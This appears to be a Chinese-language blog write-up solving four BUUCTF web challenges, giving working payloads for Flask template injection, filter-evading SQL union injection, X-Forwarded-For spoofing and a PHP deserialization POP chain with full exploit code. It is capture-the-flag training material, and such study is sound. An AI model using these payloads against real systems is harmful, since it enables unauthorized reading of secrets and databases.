• BUUCTF web(九)


    [WesternCTF2018]shrine

    查看源码

    import flask
    import os
    
    app = flask.Flask(__name__)
    
    app.config['FLAG'] = os.environ.pop('FLAG')
    
    
    @app.route('/')
    def index():
        return open(__file__).read()
    
    
    @app.route('/shrine/')
    def shrine(shrine):
    
        def safe_jinja(s):
            s = s.replace('(', '').replace(')', '')
            blacklist = ['config', 'self']
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    
        return flask.render_template_string(safe_jinja(shrine))
    
    
    if __name__ == '__main__':
        app.run(debug=True)
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    app.config[‘FLAG’] = os.environ.pop(‘FLAG’)注册了一个名为FLAG的config

    利用ssti模板注入查看flag,先测试一下{{3+3}}

    可行,但是config被过滤了,否则{{config}}就可以看到所有app.config内容

    我们可以用url_for()函数,这个url_for()函数是用于构建指定函数的URL,而且url_for操作对象是函数,而不是route里的路径,再配合globals 函数返回一个全局变量的字典。

    /shrine/{{url_for.__globals__}}
    
    • 1

    在这里插入图片描述
    current就是指当前的app,这样我们只需要查看到这个的config就可以看到flag了,那么构造payload

    /shrine/{{url_for.__globals__['current_app'].config}}
    
    • 1

    拿来吧你

    在这里插入图片描述

    [SWPU2019]Web1

    随便注册个登录,只有广告位一个功能,单引号试试呗
    在这里插入图片描述注入是吧,来!注!

    经过测试发现过滤了空格,or,–+,#,order,and等

    先判断字段数,手动尝试n+1次后发现是22列

    1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
    
    • 1

    在这里插入图片描述
    发现回显位是二三位

    查表

    -1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
    
    • 1

    在这里插入图片描述

    1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
    
    • 1

    在这里插入图片描述
    新姿势:Maria数据库的这个表可以查表名:mysql.innodb_table_stats

    设第二列别名为b

    1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select*from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
    
    • 1

    在这里插入图片描述再看看第三列

    1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
    
    • 1

    在这里插入图片描述
    总结:这道题考察的主要是无列名注入和二次注入,在不知道列名的情况下我们先让列名改名然后再单独给某一列起别名的方式来查看这列数据的内容

    [MRCTF2020]PYWebsite

    要我买flag
    在这里插入图片描述
    做梦

    拉到最下面有个输入框
    在这里插入图片描述
    可以找到校验函数
    在这里插入图片描述
    md5解一解
    在这里插入图片描述
    。。。。

    这钱不花不行了是吧

    直接访问./flag.php呢
    在这里插入图片描述
    “ 除 了 购 买 者 和 我 自 己 ”
    试试X-Forwarded-For: 127.0.0.1
    拿来吧你
    在这里插入图片描述

    [MRCTF2020]Ezpop

    Welcome to index.php
    <?php
    //flag is in flag.php
    //WTF IS THIS?
    //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
    //And Crack It!
    class Modifier {
        protected  $var;
        public function append($value){
            include($value);
        }
        public function __invoke(){
            $this->append($this->var);
        }
    }
    
    class Show{
        public $source;
        public $str;
        public function __construct($file='index.php'){
            $this->source = $file;
            echo 'Welcome to '.$this->source."
    "
    ; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54

    上来就审

    反序列化的题,很明显,需要include文件flag.php并且用伪协议读取,第一个类里还有一个魔术方法__invoke(),以调用函数的方式调用一个对象时的回应方法

    class Modifier {
        protected  $var;
        public function append($value){
            include($value);
        }
        public function __invoke(){
            $this->append($this->var);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    这里有一个include函数,题目中说flag在flag.php里,那就要想办法包含flag.php这个文件,想要包含的话就需要让var的值为flag.php再调用__invoke方法,这个是pop链最后的部分,而我们需要接着找到怎么函数调用invoke。

    class Test{
        public $p;
        public function __construct(){
            $this->p = array();
        }
    
        public function __get($key){
            $function = $this->p;
            return $function();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    在Test类中的__get方法中刚好会把属性p当作函数调用,所以需要触发魔术方法get,而get方法会在访问类中一个不存在的属性时自动调用,所以需要寻找访问属性的代码。

    class Show{
        public $source;
        public $str;
        public function __construct($file='index.php'){
            $this->source = $file;
            echo 'Welcome to '.$this->source."
    "
    ; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    魔术方法__toString中会返回属性str中的属性source,如果属性source不存在那么就满足了刚才的条件。那么怎么调用toString呢?魔术方法toString会在类被当作一个字符串时调用,比如直接print或者echo一个类。而wakeup中的preg_match函数中传参了source,这个函数中source就会被当作字符串处理,但是source只是一个属性,而toString只有在类被当作字符串时调用(注意这里一个是属性一个是类),所以我们给source赋值一个类不就行了嘛。preg_match中过滤了一些函数,但是并不影响我们用php伪协议(直接访问flag.php并没有flag,说明flag应该是以php代码形式编写在后端的)。调用wakeup方法只需要反序列化。

    所以整个利用链就是

    反序列化show类->调用wakeup魔术方法,以字符串形式处理属性source->将source赋值一个new的类->调用toString方法,其中$this->str->source不存在->这个类中的str复制new的Test类,这样才能和Test类联系起来从而触发get方法->用p把Modifier类当作函数调用,触发invoke->包含flag.php并用php伪协议读取。

    exp:

    
    class Modifier {
    	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
    }
    class Show{
        public $source;
        public $str;
        public function __construct(){
            $this->str = new Test();
        }
    }
    class Test{
        public $p;	
    }
    $a = new Show();
    $a->source = new Show();
    $a->source->str->p = new Modifier();
    echo urlencode(serialize($a));
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    在这里插入图片描述
    get传参pop提交

    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    未来已来:探索5G技术如何改变我们的生活和工作
    Flutter: Dart 参数,以及 @required 与 required
    c++里对 new 、delete 运算符的重载
    Connection详解
    计算机网络-DNS和HTTPDNS了解
    Vue.use()和install的小知识
    JVM学习六
    2022年四川省职业院校技能大赛网络搭建与应用赛项
    【中级软件设计师】上午题12-软件工程(2):单元测试、黑盒测试、白盒测试、软件运行与维护
    Java基础---第六篇
  • 原文地址:https://blog.csdn.net/m0_46616663/article/details/126580071